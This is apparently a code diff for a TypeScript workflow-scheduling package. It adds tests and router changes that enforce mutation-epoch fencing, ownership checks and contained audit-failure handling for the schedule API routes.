expect(audit).not.toHaveBeenCalled(); + }); + + it('rejects tenant epoch headers through the real resolver', async () => { + const h = await fencedHarness(); + const authenticate = vi.fn(() => ({ + id: 'actor', + role: 'operator' as const, + })); + const router = createScheduleRouter({ + ...h.options, + resolve: createActorResolver({ + authenticate, + storeFactory: new D1ApprovalStoreFactory(h.database), + mutationEpoch: 7, + buildService: () => { + throw new Error('unused'); + }, + }), + }); + const response = await router( + new Request('http://host/api/schedules', { + method: 'POST', + headers: { 'x-flowsafe-mutation-epoch': '7' }, + body: JSON.stringify(WORKFLOW_CREATE), + }), + ); + expect(response?.status).toBe(403); + expect(authenticate).not.toHaveBeenCalled(); + await expect(h.store.listSchedules()).resolves.toEqual([]); + }); + + it('does not accept a body epoch as authority', async () => { + const { capability, options } = customFacade(); + const call = routerCaller(createScheduleRouter(options)); + expect( + ( + await call('POST', '/api/schedules', { + ...WORKFLOW_CREATE, + mutationEpoch: 7, + }) + ).status, + ).toBe(400); + expect(capability.createOwnedSchedule).not.toHaveBeenCalled(); + }); +}); + +describe('schedule capability mutation dispatch', () => { + it.each([ + 'pause', + 'resume', + ] as const)('observes an already-%s row without changing timestamps', async (operation) => { + const { store, capability, options } = customFacade(); + const status = operation === 'pause' ? 'paused' : 'active'; + store.m.set('s1', scheduleRow(status)); + const observed = { + ...scheduleRow(status), + cron: '*/10 * * * *', + updatedAt: 99, + }; + vi.mocked(capability.observeScheduleMutation).mockResolvedValue(observed); + const call = routerCaller(createScheduleRouter(options)); + const result = await call('POST', `/api/schedules/s1/${operation}`); + expect(result.status).toBe(200); + expect(result.body.schedule).toMatchObject({ + cron: observed.cron, + updatedAt: observed.updatedAt, + }); + expect(capability.observeScheduleMutation).toHaveBeenCalledWith( + 's1', + operation, + { mutationEpoch: 7 }, + ); + expect(capability.pauseSchedule).not.toHaveBeenCalled(); + expect(capability.resumeSchedule).not.toHaveBeenCalled(); + expect(capability.updateSchedule).not.toHaveBeenCalled(); + expect(store.m.get('s1')).toEqual(scheduleRow(status)); + }); + + it.each([ + 'pause', + 'resume', + ] as const)('returns 404 if a %s no-op observation finds no row', async (operation) => { + const { store, capability, options } = customFacade(); + store.m.set('s1', scheduleRow(operation === 'pause' ? 'paused' : 'active')); + vi.mocked(capability.observeScheduleMutation).mockResolvedValue(null); + const audit = vi.fn(); + const call = routerCaller(createScheduleRouter({ ...options, audit })); + expect(await call('POST', `/api/schedules/s1/${operation}`)).toEqual({ + status: 404, + body: { error: 'not found' }, + }); + expect(audit).toHaveBeenCalledWith( + expect.objectContaining({ reason: 'not-found' }), + ); + expect(capability.pauseSchedule).not.toHaveBeenCalled(); + expect(capability.resumeSchedule).not.toHaveBeenCalled(); + }); + + it.each([ + 'pause', + 'resume', + ] as const)('uses the observed row when a %s no-op races another status change', async (operation) => { + vi.spyOn(Date, 'now').mockReturnValue(1_800_000_000_000); + const { store, capability, options } = customFacade(); + store.m.set('s1', scheduleRow(operation === 'pause' ? 'paused' : 'active')); + const observed = { + ...scheduleRow(operation === 'pause' ? 'active' : 'paused'), + cron: '15 * * * *', + timezone: 'UTC', + }; + vi.mocked(capability.observeScheduleMutation).mockResolvedValue(observed); + const call = routerCaller(createScheduleRouter(options)); + expect((await call('POST', `/api/schedules/s1/${operation}`)).status).toBe( + 200, + ); + if (operation === 'pause') { + expect(capability.pauseSchedule).toHaveBeenCalledWith('s1', { + mutationEpoch: 7, + }); + } else { + expect(capability.resumeSchedule).toHaveBeenCalledWith( + 's1', + { + expectedCron: observed.cron, + expectedTimezone: 'UTC', + nextFireAt: 1_800_000_900_000, + }, + { mutationEpoch: 7 }, + ); + } + expect(capability.updateSchedule).not.toHaveBeenCalled(); + }); + + it('passes an explicit undefined expected timezone when resuming', async () => { + const { store, capability, options } = customFacade(); + store.m.set('s1', scheduleRow('paused')); + const call = routerCaller(createScheduleRouter(options)); + expect((await call('POST', '/api/schedules/s1/resume')).status).toBe(200); + const input = vi.mocked(capability.resumeSchedule).mock.calls[0]?.[1]; + expect(input).toHaveProperty('expectedTimezone', undefined); + expect(input?.expectedCron).toBe('*/5 * * * *'); + expect(input?.nextFireAt).toBeGreaterThan(Date.now()); + }); + + it('uses generic authoring for PATCH status paused and the owned deletion capability', async () => { + const { store, capability, options } = customFacade(); + store.m.set('s1', scheduleRow()); + const call = routerCaller(createScheduleRouter(options)); + expect( + (await call('PATCH', '/api/schedules/s1', { status: 'paused' })).status, + ).toBe(200); + expect(capability.updateSchedule).toHaveBeenCalledWith( + 's1', + { status: 'paused' }, + { mutationEpoch: 7 }, + ); + expect(capability.pauseSchedule).not.toHaveBeenCalled(); + expect((await call('DELETE', '/api/schedules/s1')).status).toBe(200); + expect(capability.deleteOwnedSchedule).toHaveBeenCalledWith('s1', { + mutationEpoch: 7, + }); + }); +}); + +const MUTATION_ROUTES = [ + [ + 'create', + 'POST', + '/api/schedules', + WORKFLOW_CREATE, + 'active', + 'createOwnedSchedule', + ], + [ + 'update', + 'PATCH', + '/api/schedules/s1', + { cron: '*/10 * * * *' }, + 'active', + 'updateSchedule', + ], + [ + 'pause', + 'POST', + '/api/schedules/s1/pause', + undefined, + 'active', + 'pauseSchedule', + ], + [ + 'resume', + 'POST', + '/api/schedules/s1/resume', + undefined, + 'paused', + 'resumeSchedule', + ], + [ + 'delete', + 'DELETE', + '/api/schedules/s1', + undefined, + 'active', + 'deleteOwnedSchedule', + ], + [ + 'pause no-op', + 'POST', + '/api/schedules/s1/pause', + undefined, + 'paused', + 'observeScheduleMutation', + ], + [ + 'resume no-op', + 'POST', + '/api/schedules/s1/resume', + undefined, + 'active', + 'observeScheduleMutation', + ], +] as const; + +describe('schedule router final D1 epoch enforcement', () => { + it.each([ + 'cron', + 'timezone', + ] as const)('refuses resume when its observed %s changes before mutation', async (field) => { + const h = await fencedHarness(); + await h.store.createSchedule(scheduleRow('paused')); + const capability = h.store[FENCED_SCHEDULE_STORAGE]; + if (!capability) throw new Error('missing D1 capability'); + const patch = + field === 'cron' ? { cron: '15 * * * *' } : { timezone: 'Asia/Dubai' }; + Object.defineProperty(h.store, FENCED_SCHEDULE_STORAGE, { + value: { + ...capability, + resumeSchedule: async ( + ...args: Parameters< + FencedScheduleMutationCapability['resumeSchedule'] + > + ) => { + await h.store.updateSchedule('s1', patch); + return capability.resumeSchedule(...args); + }, + }, + }); + const call = routerCaller(createScheduleRouter(h.options)); + const result = await call('POST', '/api/schedules/s1/resume'); + expect(result.status).toBe(409); + expect(result.body.reason).toEqual({ + code: 'SCHEDULE_MUTATION_CONFLICT', + classification: 'schedule-changed', + }); + await expect(h.store.getSchedule('s1')).resolves.toMatchObject({ + ...patch, + status: 'paused', + nextFireAt: scheduleRow().nextFireAt, + }); + }); + + it('uses a present D1 capability under none wiring and leaves reads epoch-optional', async () => { + const h = await fencedHarness(); + await h.store.createSchedule(scheduleRow()); + await activateAndReopen(h.fence); + const call = routerCaller( + createScheduleRouter({ ...h.options, executionFence: 'none' }), + ); + expect((await call('POST', '/api/schedules/s1/pause')).body.reason).toEqual( + { + code: 'MUTATION_EPOCH_MISMATCH', + classification: 'missing', + mutationEpoch: 1, + }, + ); + expect((await call('GET', '/api/schedules')).status).toBe(200); + expect((await call('GET', '/api/schedules/s1')).status).toBe(200); + expect((await call('GET', '/api/schedules/s1/triggers')).status).toBe(200); + }); + + it.each( + MUTATION_ROUTES, + )('rejects an old held %s after activation and reopen', async (_name, method, path, body, status, selected) => { + const context = { ...ctx('acme', 'operator'), mutationEpoch: 0 }; + const h = await fencedHarness(context); + await h.store.createOwnedSchedule( + scheduleWithCreatorRole(scheduleRow(status), 'operator'), + context.resourceOwner, + 100, + ); + await h.store.recordTrigger({ + id: 'trigger-s1', + scheduleId: 's1', + runId: 'run-s1', + scheduledFireAt: 1, + actualFireAt: 2, + outcome: 'succeeded', + }); + const snapshot = () => + JSON.stringify([ + h.sqlite.prepare('SELECT * FROM mastra_schedules').all(), + h.sqlite.prepare('SELECT * FROM mastra_schedule_triggers').all(), + h.sqlite.prepare('SELECT * FROM flowsafe_resource_owners').all(), + ]); + const before = snapshot(); + const capability = h.store[FENCED_SCHEDULE_STORAGE]; + if (!capability) throw new Error('missing D1 capability'); + const entered = deferred(); + const release = deferred(); + const selectedMethod = capability[selected]; + const held = vi.fn(async (...args: unknown[]) => { + entered.resolve(); + await release.promise; + return Reflect.apply(selectedMethod, capability, args); + }); + Object.defineProperty(h.store, FENCED_SCHEDULE_STORAGE, { + value: { ...capability, [selected]: held }, + }); + const call = routerCaller(createScheduleRouter(h.options)); + const pending = call(method, path, body); + await entered.promise; + try { + await activateAndReopen(h.fence); + context.mutationEpoch = 1; + } finally { + release.resolve(); + } + const result = await pending; + expect(result.status).toBe(409); + expect(result.body.reason).toEqual({ + code: 'MUTATION_EPOCH_MISMATCH', + classification: 'stale', + mutationEpoch: 1, + }); + expect(held).toHaveBeenCalledTimes(1); + expect(snapshot()).toBe(before); + expect(h.events).toContainEqual( + expect.objectContaining({ + outcome: 'rejected', + reason: 'MUTATION_EPOCH_MISMATCH:stale', + }), + ); + }); + + it.each( + MUTATION_ROUTES, + )('accepts exact current epoch for %s and refuses missing/future epochs', async (_name, method, path, body, status) => { + for (const mutationEpoch of [undefined, 2, 1]) { + const h = await fencedHarness({ + ...ctx('acme', 'operator'), + mutationEpoch, + }); + await h.store.createOwnedSchedule( + scheduleWithCreatorRole(scheduleRow(status), 'operator'), + { kind: 'human', id: 'operator-acme' }, + 100, + ); + await activateAndReopen(h.fence); + const before = await h.store.getSchedule('s1'); + const result = await h.call(method, path, body); + if (mutationEpoch === 1) { + expect(result.status).toBe( + method === 'POST' && path === '/api/schedules' ? 201 : 200, + ); + if (_name.endsWith('no-op')) + await expect(h.store.getSchedule('s1')).resolves.toEqual(before); + } else { + expect(result.status).toBe(409); + expect(result.body.reason).toEqual({ + code: 'MUTATION_EPOCH_MISMATCH', + classification: mutationEpoch === undefined ? 'missing' : 'future', + mutationEpoch: 1, + }); + await expect(h.store.getSchedule('s1')).resolves.toEqual(before); + } + } + }); + + it.each([ + 'draining', + 'migration-locked', + 'proof-only', + ] as const)('allows exact-epoch pause/delete in %s while PATCH remains authoring', async (state) => { + const h = await fencedHarness({ + ...ctx('acme', 'operator'), + mutationEpoch: 1, + }); + await h.store.createSchedule(scheduleRow()); + await activateAndReopen(h.fence); + await h.fence.transition({ + expected: 'open', + next: state, + expectedMutationEpoch: 1, + expectedRevision: 3, + ...(state === 'proof-only' ? { proofKey: 'proof-schedule' } : {}), + }); + expect( + (await h.call('PATCH', '/api/schedules/s1', { status: 'paused' })).status, + ).toBe(503); + expect((await h.call('POST', '/api/schedules/s1/pause')).status).toBe(200); + expect((await h.call('POST', '/api/schedules/s1/pause')).status).toBe(200); + expect((await h.call('DELETE', '/api/schedules/s1')).status).toBe(200); + }); +}); + +describe('schedule route refusal responses', () => { + const failures = [ + [ + 'invalid epoch', + () => new InvalidMutationEpochError(), + 'INVALID_MUTATION_EPOCH', + ], + [ + 'missing epoch', + () => new MutationEpochMismatchError('missing', 7), + 'MUTATION_EPOCH_MISMATCH:missing', + ], + [ + 'stale epoch', + () => new MutationEpochMismatchError('stale', 7), + 'MUTATION_EPOCH_MISMATCH:stale', + ], + [ + 'future epoch', + () => new MutationEpochMismatchError('future', 7), + 'MUTATION_EPOCH_MISMATCH:future', + ], + [ + 'closed fence', + () => new ExecutionFencedError('draining'), + 'execution-fenced', + ], + [ + 'unreadable fence', + () => new ExecutionFenceUnreadableError('fence unreadable'), + 'execution-fence-unreadable', + ], + [ + 'changed fence', + () => new ScheduleMutationConflictError('fence-changed'), + 'SCHEDULE_MUTATION_CONFLICT:fence-changed', + ], + [ + 'changed schedule', + () => new ScheduleMutationConflictError('schedule-changed'), + 'SCHEDULE_MUTATION_CONFLICT:schedule-changed', + ], + [ + 'unknown outcome', + () => + new ScheduleMutationOutcomeUnknownError({ + cause: new Error('private SQL detail'), + }), + 'SCHEDULE_MUTATION_OUTCOME_UNKNOWN', + ], + ] as const; + + it.each( + failures, + )('retains the typed %s refusal when its audit fails', async (_label, build, reason) => { + const error = build(); + const callbackError = new RunRouteError(418, 'private audit detail'); + const logged = vi.spyOn(console, 'error').mockImplementation(() => {}); + const { store, capability, options } = customFacade(); + vi.mocked(capability.createOwnedSchedule).mockRejectedValue(error); + const audit = vi.fn(async () => { + throw callbackError; + }); + const call = routerCaller(createScheduleRouter({ ...options, audit })); + const result = await call('POST', '/api/schedules', WORKFLOW_CREATE); + expect(result).toEqual({ + status: error.status, + body: { error: error.message, reason: error.reason }, + }); + expect(JSON.stringify(result.body)).not.toMatch( + /private SQL|private audit/, + ); + expect(audit).toHaveBeenCalledTimes(1); + expect(audit).toHaveBeenCalledWith( + expect.objectContaining({ outcome: 'rejected', reason }), + ); + expect(logged).toHaveBeenCalledWith( + expect.stringContaining('schedule.route-audit-error'), + callbackError, + ); + if (error instanceof ScheduleMutationOutcomeUnknownError) { + expect(logged).toHaveBeenCalledWith( + expect.stringContaining('schedule.route-mutation-error'), + error, + ); + expect(error.cause).toEqual(new Error('private SQL detail')); + } + expect(capability.createOwnedSchedule).toHaveBeenCalledTimes(1); + expect(capability.deleteOwnedSchedule).not.toHaveBeenCalled(); expect(store.m.size).toBe(0); }); + + it('preserves a generic final-storage notfound error as a generic 500', async () => { + vi.spyOn(console, 'error').mockImplementation(() => {}); + const { store, capability, options } = customFacade(); + store.m.set('s1', scheduleRow()); + vi.mocked(capability.updateSchedule).mockRejectedValue( + new Error('schedule s1 not found'), + ); + const call = routerCaller(createScheduleRouter(options)); + expect( + await call('PATCH', '/api/schedules/s1', { cron: '*/10 * * * *' }), + ).toEqual({ + status: 500, + body: { error: 'internal error' }, + }); + }); +}); + +describe('contained schedule audits', () => { + it('does not reclassify a rejected route when audit throws a route error', async () => { + const error = new RunRouteError(404, 'audit private detail'); + const audit = vi.fn(() => { + throw error; + }); + const logged = vi.spyOn(console, 'error').mockImplementation(() => {}); + const h = harness(ctx('acme', 'viewer'), { audit }); + await expect( + h.call('POST', '/api/schedules', WORKFLOW_CREATE), + ).resolves.toEqual({ + status: 403, + body: { error: 'forbidden' }, + }); + expect(audit).toHaveBeenCalledTimes(1); + expect(logged).toHaveBeenCalledWith( + expect.stringContaining('schedule.route-audit-error'), + error, + ); + }); + + const failures = [ + ['ordinary', () => new Error('audit unavailable'), 'audit unavailable'], + [ + 'throwing message', + () => + Object.defineProperty(new Error(), 'message', { + get() { + throw new Error('message getter failed'); + }, + }), + 'unreadable error', + ], + [ + 'throwing coercion', + () => ({ + [Symbol.toPrimitive]() { + throw new Error('coercion failed'); + }, + }), + 'unreadable error', + ], + [ + 'non-string message', + () => Object.defineProperty(new Error(), 'message', { value: 1n }), + '1', + ], + ] as const; + + it.each( + failures, + )('contains %s audit failures for accepted and rejected outcomes', async (_label, build, diagnostic) => { + for (const asyncFailure of [false, true]) { + for (const scenario of [ + 'create', + 'delete', + 'pending', + 'no-op', + 'role', + 'ownership', + ] as const) { + const error = build(); + const audit = vi.fn(() => { + if (asyncFailure) return Promise.reject(error); + throw error; + }); + const logged = vi.spyOn(console, 'error').mockImplementation(() => {}); + const context = ctx( + 'acme', + scenario === 'role' ? 'viewer' : 'operator', + async () => scenario !== 'ownership', + ); + const h = harness(context, { audit }); + h.store.m.set('s1', scheduleRow('paused')); + if (scenario === 'pending') + h.store.deleteOwnedSchedule = async () => 'pending'; + const result = + scenario === 'create' || scenario === 'role' + ? await h.call('POST', '/api/schedules', WORKFLOW_CREATE) + : scenario === 'no-op' + ? await h.call('POST', '/api/schedules/s1/pause') + : await h.call('DELETE', '/api/schedules/s1'); + const status = { + create: 201, + delete: 200, + pending: 202, + 'no-op': 200, + role: 403, + ownership: 404, + }[scenario]; + expect(result.status).toBe(status); + expect(audit).toHaveBeenCalledTimes(1); + const message = logged.mock.calls[0]?.[0]; + expect(JSON.parse(String(message))).toMatchObject({ + type: 'schedule.route-audit-error', + reason: diagnostic, + }); + expect(logged.mock.calls[0]?.[1]).toBe(error); + expect(h.store.m.has('s1')).toBe(scenario !== 'delete'); + if (scenario === 'create') expect(h.store.m.size).toBe(2); + logged.mockRestore(); + } + } + }); + + it('preserves the selected response when audit diagnostic reporting throws', async () => { + vi.spyOn(console, 'error').mockImplementation(() => { + throw new Error('logger unavailable'); + }); + const audit = vi.fn(async () => { + throw new RunRouteError(404, 'sink unavailable'); + }); + const h = harness(ctx('acme', 'viewer'), { audit }); + expect(await h.call('POST', '/api/schedules', WORKFLOW_CREATE)).toEqual({ + status: 403, + body: { error: 'forbidden' }, + }); + expect(audit).toHaveBeenCalledTimes(1); + }); }); diff --git a/packages/flowsafe/src/schedules/router.ts b/packages/flowsafe/src/schedules/router.ts index 55239b37..565b06e8 100644 --- a/packages/flowsafe/src/schedules/router.ts +++ b/packages/flowsafe/src/schedules/router.ts @@ -55,6 +55,7 @@ import type { ScheduleUpdate, } from '@mastra/core/storage'; import { computeNextFireAt, validateCron } from '@mastra/core/workflows'; +import { captureActorContext } from '../approval-api/actor-context.js'; import { type ActorContext, ActorResolutionError, @@ -63,6 +64,11 @@ import { type ResourceOwner, RUN_START_ROLES, } from '../approval-api/index.js'; +import { + InvalidMutationEpochError, + type MutationEpochContext, + MutationEpochMismatchError, +} from '../do-runner/execution-admission.js'; import { admitsWorkAuthoring, type ExecutionFenceWiring, @@ -70,6 +76,7 @@ import { isExecutionFenceRefusal, readExecutionFence, } from '../do-runner/index.js'; +import { hostErrorText } from '../host-kit/host-approval-service.js'; import { type BoundThreadTargetValidator, RunRouteError, @@ -83,6 +90,12 @@ import { nonnegativeSafeInteger, positiveSafeInteger, } from '../numeric-config.js'; +import { + FENCED_SCHEDULE_STORAGE, + type FencedScheduleMutationCapability, + ScheduleMutationConflictError, + ScheduleMutationOutcomeUnknownError, +} from './mutation-contract.js'; import { type AuthorizedSchedule, type ScheduleTargetPolicy, @@ -93,15 +106,24 @@ import { isReservedScheduleContextKey } from './tick.js'; /** The storage subset the facade reads/writes (a subset of D1SchedulesStorage). */ export interface ScheduleFacadeStore { + readonly [FENCED_SCHEDULE_STORAGE]?: FencedScheduleMutationCapability; createOwnedSchedule( schedule: AuthorizedSchedule, owner: ResourceOwner, maxSchedules: number, + context?: MutationEpochContext, ): Promise; getSchedule(id: string): Promise; listSchedules(filter?: ScheduleFilter): Promise; - updateSchedule(id: string, patch: ScheduleUpdate): Promise; - deleteOwnedSchedule(id: string): Promise<'deleted' | 'pending'>; + updateSchedule( + id: string, + patch: ScheduleUpdate, + context?: MutationEpochContext, + ): Promise; + deleteOwnedSchedule( + id: string, + context?: MutationEpochContext, + ): Promise<'deleted' | 'pending'>; listTriggers( scheduleId: string, opts?: ScheduleTriggerListOptions, @@ -175,17 +197,10 @@ export interface ScheduleRouterOptions { */ maxContentBytes?: number; /** - * The deployment execution fence, or `'none'` for a router with no database - * behind it. REQUIRED: a router receives a store facade and a resolver, not a - * database, so it cannot build one for itself the way `init({ DB })` can — - * which leaves the host as the only place the wiring can happen, and an - * option a host may omit is one a host will omit. See ExecutionFenceWiring - * for the split-brain this closes (an unfenced surface next to a fenced - * runtime consumes work it then cannot run). - * - * The gate itself is the runtime's refusal made earlier: an operator draining - * a deployment sees a schedule create refused at the API instead of accepted - * and then never fired. + * The early state gate. A configured fence requires the store's same-binding + * mutation capability before epoch activation can race a waiting request. + * `'none'` supports method-only custom facades; an advertised capability still + * applies its storage-level mutation guards. */ executionFence: ExecutionFenceWiring; /** Route prefix. Default '/api/schedules'. */ @@ -695,21 +710,79 @@ function buildCreateRow( }; } -/** - * The operations the execution fence blocks past `open`: every one of them - * ARMS a future fire. `pause` and `delete` are deliberately absent — they take - * work away, which is what a drain wants — and so are the three reads. - */ const FENCE_GATED_SCHEDULE_OPERATIONS = new Set([ 'create', 'update', 'resume', ]); +function captureScheduleMutations( + store: ScheduleFacadeStore, + executionFence: ExecutionFenceWiring, +): FencedScheduleMutationCapability | undefined { + const capability = store[FENCED_SCHEDULE_STORAGE]; + if (capability === undefined) { + if (executionFence !== 'none') { + throw new Error('fenced schedule storage capability is unavailable'); + } + return undefined; + } + if ( + capability === null || + typeof capability !== 'object' || + Array.isArray(capability) + ) { + throw new Error('schedule mutation capability is malformed'); + } + const { + database, + createOwnedSchedule, + updateSchedule, + pauseSchedule, + resumeSchedule, + deleteOwnedSchedule, + observeScheduleMutation, + } = capability; + if ( + !database || + typeof database !== 'object' || + Array.isArray(database) || + typeof database.prepare !== 'function' || + typeof database.batch !== 'function' || + typeof createOwnedSchedule !== 'function' || + typeof updateSchedule !== 'function' || + typeof pauseSchedule !== 'function' || + typeof resumeSchedule !== 'function' || + typeof deleteOwnedSchedule !== 'function' || + typeof observeScheduleMutation !== 'function' + ) { + throw new Error('schedule mutation capability is malformed'); + } + if (executionFence !== 'none' && !executionFence.usesDatabase(database)) { + throw new Error('schedule storage binding disagrees with execution fence'); + } + return { + database, + createOwnedSchedule: createOwnedSchedule.bind(capability), + updateSchedule: updateSchedule.bind(capability), + pauseSchedule: pauseSchedule.bind(capability), + resumeSchedule: resumeSchedule.bind(capability), + deleteOwnedSchedule: deleteOwnedSchedule.bind(capability), + observeScheduleMutation: observeScheduleMutation.bind(capability), + }; +} + export function createScheduleRouter( options: ScheduleRouterOptions, ): ScheduleRouter { - const { executionFence, resolve, store, targetPolicy } = options; + const { + executionFence, + resolve, + store, + targetPolicy, + audit: auditSink, + } = options; + const mutations = captureScheduleMutations(store, executionFence); const roles = options.roles ?? RUN_START_ROLES; const maxSchedules = nonnegativeSafeInteger( options.maxSchedules ?? 100, @@ -762,45 +835,57 @@ export function createScheduleRouter( // no-ops while it is — so a pre-auth failure never writes the log (an // unauthenticated flood cannot spam the audit sink). let context: ActorContext | undefined; + const reportError = ( + type: 'schedule.route-audit-error' | 'schedule.route-mutation-error', + error: unknown, + ): void => { + try { + console.error( + JSON.stringify({ + type, + operation, + ...(id !== undefined ? { scheduleId: id } : {}), + reason: hostErrorText(error, true), + }), + error, + ); + } catch { + // Diagnostics cannot change the request's selected outcome. + } + }; const audit = async ( outcome: 'accepted' | 'rejected', reason?: string, ): Promise => { - if (!options.audit || !context) return; + if (!auditSink || !context) return; // A benign read is not audited; only its denial is. if (!isMutation && outcome === 'accepted') return; - await options.audit({ - type: 'schedule.route', - ...(context.deploymentTag !== undefined - ? { deploymentTag: context.deploymentTag } - : {}), - actorId: context.actor.id, - operation, - ...(id !== undefined ? { scheduleId: id } : {}), - outcome, - ...(reason !== undefined ? { reason } : {}), - timestamp: new Date().toISOString(), - }); - }; - const auditCommittedMutation = async (): Promise => { try { - await audit('accepted'); + await auditSink.call(options, { + type: 'schedule.route', + ...(context.deploymentTag !== undefined + ? { deploymentTag: context.deploymentTag } + : {}), + actorId: context.actor.id, + operation, + ...(id !== undefined ? { scheduleId: id } : {}), + outcome, + ...(reason !== undefined ? { reason } : {}), + timestamp: new Date().toISOString(), + }); } catch (error) { - console.error( - JSON.stringify({ - type: 'schedule.route-audit-error', - operation, - ...(id !== undefined ? { scheduleId: id } : {}), - reason: error instanceof Error ? error.message : String(error), - }), - ); + reportError('schedule.route-audit-error', error); } }; try { // 1. Resolve. - context = await resolve(request); - if (!context) return json({ error: 'authentication required' }, 401); + const resolved = await resolve(request); + if (!resolved) return json({ error: 'authentication required' }, 401); + context = captureActorContext(resolved); + const mutation: MutationEpochContext = Object.freeze({ + mutationEpoch: context.mutationEpoch, + }); // CREATE has no resource to resolve yet, so its coarse role gate comes // immediately after authentication. @@ -882,11 +967,18 @@ export function createScheduleRouter( options.validateThreadTarget, ); const row = scheduleWithCreatorRole(built.value, context.actor.role); - const created = await store.createOwnedSchedule( - row, - context.resourceOwner, - maxSchedules, - ); + const created = mutations + ? await mutations.createOwnedSchedule( + row, + context.resourceOwner, + maxSchedules, + mutation, + ) + : await store.createOwnedSchedule( + row, + context.resourceOwner, + maxSchedules, + ); if (!created) { await audit('rejected', 'schedule-count-cap'); return json( @@ -894,7 +986,7 @@ export function createScheduleRouter( 400, ); } - await auditCommittedMutation(); + await audit('accepted'); return json({ schedule: toView(created) }, 201); } @@ -925,14 +1017,28 @@ export function createScheduleRouter( } if (operation === 'delete') { - const outcome = await store.deleteOwnedSchedule(scheduleId); - await auditCommittedMutation(); + const outcome = mutations + ? await mutations.deleteOwnedSchedule(scheduleId, mutation) + : await store.deleteOwnedSchedule(scheduleId); + await audit('accepted'); return outcome === 'pending' ? json({ ok: true, pending: true }, 202) : json({ ok: true }); } - const existing = await store.getSchedule(scheduleId); + let existing = await store.getSchedule(scheduleId); + if ( + existing && + mutations && + ((operation === 'pause' && existing.status === 'paused') || + (operation === 'resume' && existing.status === 'active')) + ) { + existing = await mutations.observeScheduleMutation( + scheduleId, + operation, + mutation, + ); + } if (!existing) { await audit('rejected', 'not-found'); return json({ error: 'not found' }, 404); @@ -944,19 +1050,19 @@ export function createScheduleRouter( if (operation === 'pause') { if (existing.status === 'paused') { - await auditCommittedMutation(); + await audit('accepted'); return json({ schedule: toView(existing) }); } - const updated = await store.updateSchedule(scheduleId, { - status: 'paused', - }); - await auditCommittedMutation(); + const updated = mutations + ? await mutations.pauseSchedule(scheduleId, mutation) + : await store.updateSchedule(scheduleId, { status: 'paused' }); + await audit('accepted'); return json({ schedule: toView(updated) }); } if (operation === 'resume') { if (existing.status === 'active') { - await auditCommittedMutation(); + await audit('accepted'); return json({ schedule: toView(existing) }); } // Re-activating recomputes nextFireAt from now (core's resume semantics). @@ -973,11 +1079,21 @@ export function createScheduleRouter( return json({ error: nextFire.error.message }, nextFire.error.status); } const nextFireAt = nextFire.value; - const updated = await store.updateSchedule(scheduleId, { - status: 'active', - nextFireAt, - }); - await auditCommittedMutation(); + const updated = mutations + ? await mutations.resumeSchedule( + scheduleId, + { + expectedCron: existing.cron, + expectedTimezone: existing.timezone, + nextFireAt, + }, + mutation, + ) + : await store.updateSchedule(scheduleId, { + status: 'active', + nextFireAt, + }); + await audit('accepted'); return json({ schedule: toView(updated) }); } @@ -1028,8 +1144,10 @@ export function createScheduleRouter( options.validateThreadTarget, ); } - const updated = await store.updateSchedule(scheduleId, patch.value); - await auditCommittedMutation(); + const updated = mutations + ? await mutations.updateSchedule(scheduleId, patch.value, mutation) + : await store.updateSchedule(scheduleId, patch.value); + await audit('accepted'); return json({ schedule: toView(updated) }); } catch (error) { // A fence that could not be READ is not evidence the deployment is open, @@ -1037,7 +1155,32 @@ export function createScheduleRouter( // generic 500 below — an operator must be able to tell a deployment // that is being migrated from one that is broken. if (isExecutionFenceRefusal(error)) { - await audit('rejected', 'execution-fence-unreadable'); + await audit( + 'rejected', + error.reason.code === 'EXECUTION_FENCED' + ? 'execution-fenced' + : 'execution-fence-unreadable', + ); + return json( + { error: error.message, reason: error.reason }, + error.status, + ); + } + if ( + error instanceof InvalidMutationEpochError || + error instanceof MutationEpochMismatchError || + error instanceof ScheduleMutationConflictError || + error instanceof ScheduleMutationOutcomeUnknownError + ) { + if (error instanceof ScheduleMutationOutcomeUnknownError) { + reportError('schedule.route-mutation-error', error); + } + await audit( + 'rejected', + 'classification' in error.reason + ? `${error.reason.code}:${error.reason.classification}` + : error.reason.code, + ); return json( { error: error.message, reason: error.reason }, error.status, diff --git a/packages/flowsafe/src/schedules/schedules-d1.test.ts b/packages/flowsafe/src/schedules/schedules-d1.test.ts index 137ced1b..34e3df39 100644 --- a/packages/flowsafe/src/schedules/schedules-d1.test.ts +++ b/packages/flowsafe/src/schedules/schedules-d1.test.ts @@ -3,13 +3,29 @@ // harness owns real-D1 CAS, concurrency, ownership, and rollback evidence. import type { Schedule } from '@mastra/core/storage'; -import { describe, expect, it } from 'vitest'; +import { describe, expect, it, vi } from 'vitest'; import { openSqlite, sqliteUnitDatabase } from '../../test-support/sqlite.js'; import { D1ResourceOwnershipStore, type ResourceOwnershipDatabase, } from '../approval-api/index.js'; +import { + InvalidMutationEpochError, + type MutationEpochContext, + MutationEpochMismatchError, +} from '../do-runner/execution-admission.js'; +import { + ExecutionFencedError, + type ExecutionFenceState, + ExecutionFenceStore, + ExecutionFenceUnreadableError, +} from '../do-runner/execution-fence.js'; +import { + FENCED_SCHEDULE_STORAGE, + ScheduleMutationConflictError, + ScheduleMutationOutcomeUnknownError, +} from './mutation-contract.js'; import { D1SchedulesStorage, parseScheduleAgentDispatchReceipt, @@ -44,6 +60,169 @@ function workflowSchedule(overrides: Partial = {}): Schedule { }; } +async function mutationFixture() { + const sqlite = openSqlite(); + const native = sqliteUnitDatabase(sqlite) as ScheduleDatabase & + Required>; + const hooks: { + beforeBatch?: () => void | Promise; + afterBatch?: (results: unknown[]) => unknown[]; + } = {}; + const sql: string[] = []; + let batches = 0; + const binding: ScheduleDatabase = { + prepare(query) { + expect(this).toBe(binding); + sql.push(query); + return native.prepare(query); + }, + async batch(statements) { + expect(this).toBe(binding); + batches += 1; + const before = hooks.beforeBatch; + hooks.beforeBatch = undefined; + await before?.(); + const results = await native.batch(statements); + return hooks.afterBatch ? hooks.afterBatch(results) : results; + }, + }; + const store = new D1SchedulesStorage(binding); + const fence = new ExecutionFenceStore(binding); + await store.createOwnedSchedule( + scheduleWithCreatorRole(workflowSchedule(), 'operator'), + { kind: 'human', id: 'opal' }, + 100, + ); + return { + sqlite, + store, + fence, + binding, + native, + hooks, + sql, + batches: () => batches, + }; +} + +type MutationFixture = Awaited>; + +async function moveFence( + fence: ExecutionFenceStore, + next: ExecutionFenceState, + advanceMutationEpoch = false, +) { + const current = await fence.read(); + return fence.transition({ + expected: current.state, + next, + expectedMutationEpoch: current.mutationEpoch, + expectedRevision: current.transitionRevision, + advanceMutationEpoch, + ...(next === 'proof-only' ? { proofKey: 'schedule-proof' } : {}), + }); +} + 